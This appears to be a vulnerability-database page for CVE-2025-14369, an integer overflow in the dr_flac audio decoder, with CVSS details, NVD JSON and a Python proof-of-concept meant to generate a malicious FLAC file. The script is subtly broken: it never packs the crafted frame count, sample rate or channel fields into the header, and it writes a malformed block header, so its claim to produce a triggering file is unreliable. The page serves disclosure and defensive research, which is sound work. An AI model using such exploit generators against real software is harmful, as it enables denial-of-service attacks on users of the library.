Security Vulnerability Report
中文
CVE-2025-14369 CVSS 5.5 MEDIUM

CVE-2025-14369

Published: 2026-01-20 12:15:48
Last Modified: 2026-04-15 00:35:42

Description

dr_flac, an audio decoder within the dr_libs toolset, contains an integer overflow vulnerability flaw due to trusting the totalPCMFrameCount field from FLAC metadata before calculating buffer size, allowing an attacker with a specially crafted file to perform DoS against programs using the tool.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

dr_libs dr_flac < b2197b2eb7bb609df76315bebf44db4ec2a1aed0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-14369 PoC - Malicious FLAC file generator # This PoC generates a FLAC file with a crafted totalPCMFrameCount # that triggers integer overflow in dr_flac import struct def create_malicious_flac(): # FLAC stream marker flac_data = b'fLaC' # STREAMINFO metadata block (last flag set = 1) # We need to set an extremely large totalPCMFrameCount value # that will cause integer overflow when multiplied by channel count and bytes per sample # Minimal STREAMINFO: 34 bytes # Structure: min_blocksize(16bits) | max_blocksize(16bits) | # min_framesize(24bits) | max_framesize(24bits) | # sample_rate(20bits) | channels(3bits) | bits_per_sample(5bits) | # total_samples(36bits) | md5(128bits) min_blocksize = 4096 max_blocksize = 4096 min_framesize = 0 max_framesize = 0 sample_rate = 44100 channels = 2 # stereo bits_per_sample = 16 # Crafted totalPCMFrameCount - large value that causes overflow # Setting to max uint36 value to trigger overflow in buffer calculation total_samples = 0xFFFFFFFFF # Close to uint36 max streaminfo = struct.pack('>HH', min_blocksize, max_blocksize) streaminfo += struct.pack('>I', (min_framesize << 8) | max_framesize)[1:] # Pack sample rate, channels, bits per sample, and total samples # Using uint36 for total samples header = (sample_rate << 1) | channels header = (header << 5) | (bits_per_sample - 1) # Metadata block header: is_last_block(1) | block_type(7) | length(24) metadata_header = 0x80 | (0 << 7) | (34 & 0xFFFFFF) # is_last + STREAMINFO type + length streaminfo_full = bytes([metadata_header]) + streaminfo # Add padding and frame data to complete the file # This is a simplified PoC - a real exploit would need valid frame data return flac_data + streaminfo_full + b'\x00' * 1024 if __name__ == '__main__': poc_file = create_malicious_flac() with open('CVE-2025-14369_poc.flac', 'wb') as f: f.write(poc_file) print('PoC FLAC file generated: CVE-2025-14369_poc.flac') print('This file contains a crafted totalPCMFrameCount that may trigger') print('integer overflow in dr_flac when parsed by vulnerable applications.')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14369", "sourceIdentifier": "[email protected]", "published": "2026-01-20T12:15:48.440", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "dr_flac, an audio decoder within the dr_libs toolset, contains an integer overflow vulnerability flaw due to trusting the totalPCMFrameCount field from FLAC metadata before calculating buffer size, allowing an attacker with a specially crafted file to perform DoS against programs using the tool."}, {"lang": "es", "value": "dr_flac, un decodificador de audio dentro del conjunto de herramientas dr_libs, contiene una falla de vulnerabilidad de desbordamiento de entero debido a confiar en el campo totalPCMFrameCount de los metadatos FLAC antes de calcular el tamaño del búfer, permitiendo a un atacante con un archivo especialmente diseñado realizar DoS contra programas que usan la herramienta."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "references": [{"url": "https://github.com/mackron/dr_libs/commit/b2197b2eb7bb609df76315bebf44db4ec2a1aed0", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/924114", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}